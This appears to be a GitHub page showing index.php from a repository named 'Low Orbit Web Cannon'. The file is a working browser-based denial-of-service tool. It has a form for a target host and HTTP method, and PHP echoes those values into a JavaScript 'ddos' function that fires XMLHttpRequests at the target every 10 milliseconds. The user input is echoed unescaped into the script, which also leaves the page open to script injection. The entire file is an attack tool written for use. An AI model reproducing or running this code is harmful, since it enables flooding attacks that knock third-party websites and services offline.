-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathindex.php
127 lines (64 loc) · 2.04 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
<!DOCTYPE html>
<html>
<head>
<title>Low Orbit Web Cannon</title>
<style>
input[type=submit] {
top: -9999px;
left: -9999px;
position: absolute
}
</style>
</head>
<body>
<form name="form" id="form" action="" method="POST">
<label>Host: <input type="text" name="host" id="host" /></label><Br>
<label>Method(GET/POST)P.S: Select POST to append message: <input type="text" name="method" id="method" /></label><Br>
<label>Append message: <input type="text" name="message" id="message" /></label><Br>
<input type="submit" name="submit" id="submit" value="submit" />
<label for="submit">FIRE TEH LAZERZ!</label>
</form>
<?php
if(isset($_POST["submit"])) {
$host = $_POST["host"];
$method = $_POST["method"];
$message = $_POST["message"];
if(!(isset($host) and isset($method))) {
die("Host and Method fields are required. Please reload the page and enter valid information.");
} else {
$c = array("POST", "GET");
if(!(in_array($method, $c))) {
die("Error: invalid data: " . $method . " in the Method field. Only POST and GET are valid. Please reload the page and enter valid information.");
} else {
if($method === "GET") {
?>
<script>
function ddos() {
var HOST = "<?php echo $host; ?>";
var METHOD = "<?php echo $method; ?>";
http = new XMLHttpRequest();
http.open(METHOD, HOST, true);
http.send();
}
setInterval(ddos, 10);
</script>
<?php
} else if($method === "POST") {
?>
<script>
function ddos() {
var HOST = "<?php echo $host; ?>";
var METHOD = "<?php echo $method; ?>";
var MESSAGE = "<?php echo $message; ?>";
http = new XMLHttpRequest();
http.open(METHOD, HOST, true);
http.send(MESSAGE);
}
setInterval(ddos, 10);
</script>
<?php
}
}
}
}
?>